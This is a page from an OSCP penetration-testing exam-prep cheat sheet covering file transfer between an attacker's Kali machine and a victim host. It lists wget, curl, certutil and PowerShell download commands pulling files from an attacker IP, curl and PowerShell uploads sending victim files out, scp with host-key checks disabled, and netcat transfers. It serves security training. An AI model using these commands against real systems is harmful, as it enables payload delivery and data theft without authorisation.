📘
OSCP Exam Prep
OSCP Exam Prep
OSCP Exam Prep
  • Reference List
  • Guideline
  • Commons
    • Basic Scans
    • Service Enumeration
      • HTTP(S) (80 / 443)
      • SMB (139 / 445)
      • FTP (21)
      • DNS (53)
      • SSH (22)
      • LDAP (389/636/3268)
      • Kerberos (88)
      • SNMP (161)
      • SMTP (25)
      • RDP (3389)
      • Evil-WinRM (5985/5986)
      • MYSQL (3306)
      • MSSQL (1433)
    • Default/Common Credentials
    • Shells
      • TTY Shell
    • File Transfer
    • KeePass Database
    • Port Forwarding
    • File Metadata
  • Attacks
    • Run a command x times
    • Public Exploits
    • User Creation
    • Password Cracking
      • Using custom wordlists
    • LFI/RFI
    • SQLi
    • PwnKit
    • SAM and SYSTEM files
    • Phishing for Access (Requires MailSVR)
    • GitDumper
  • Enumeration
    • Linux
    • Windows
  • Privilege Escalation
    • Linux
    • Windows
  • Port Forwarding Extras
    • Linux
    • Windows
  • Active Directory
    • Enumeration
    • Lateral Movement
    • Privilege Escalation
Powered by GitBook
On this page
  • Attacker to Victim
  • Victim to Attacker
  • Using nc.exe
  • Hosting Web Server
  1. Commons

File Transfer

Attacker to Victim

On Victime Machine:
    wget http://<Kali IP>/<Target File>
    wget -r http://<Kali IP>/<Target Dir>
    
    curl http://<Kali IP>/<Target File> -O <destination>
    
    scp -P <SSH port> <source file> <username>@<IP>:/path/to/<destination file>
    
    certutil -urlcache -split -f 'http://<Attacker IP>/<source file>' <destination file>

    powershell.exe -c "(New-Object System.Net.WebClient).DownloadFile('http://<Kali IP>/<source file>', '<destination file>')"
    
    iwr -uri http://<Kali IP>/<target file> -Outfile <target file>
    
    

Victim to Attacker

On Kali machine:
    git clone https://github.com/Tallguy297/SimpleHTTPServerWithUpload
    cd SimpleHTTPServerWithUpload
    python3 SimpleHTTPServerWithUpload/py
    
On Victim machine:
    curl -F 'file=@<Target File>' http://<Kali IP>:8000/
    
    OR
    
    powershell.exe -c "(New-Object System.Net.WebClient).UploadFile('http://<Kali IP>:8000/', '<Target File>')"
On Victime Machine:
    scp -P <SSH port> -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" <source file> <username>@<Kali IP>:/path/to/<destination file>

Using nc.exe

On Source machine:
    nc -nlvp 4444 > <destination file>
    
On Destination machine:
    nc -nv <IP> 4444 < <target file>

Hosting Web Server

python3 -m http.server 80

wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/beyond/webdav/

PreviousTTY ShellNextKeePass Database

Last updated 3 months ago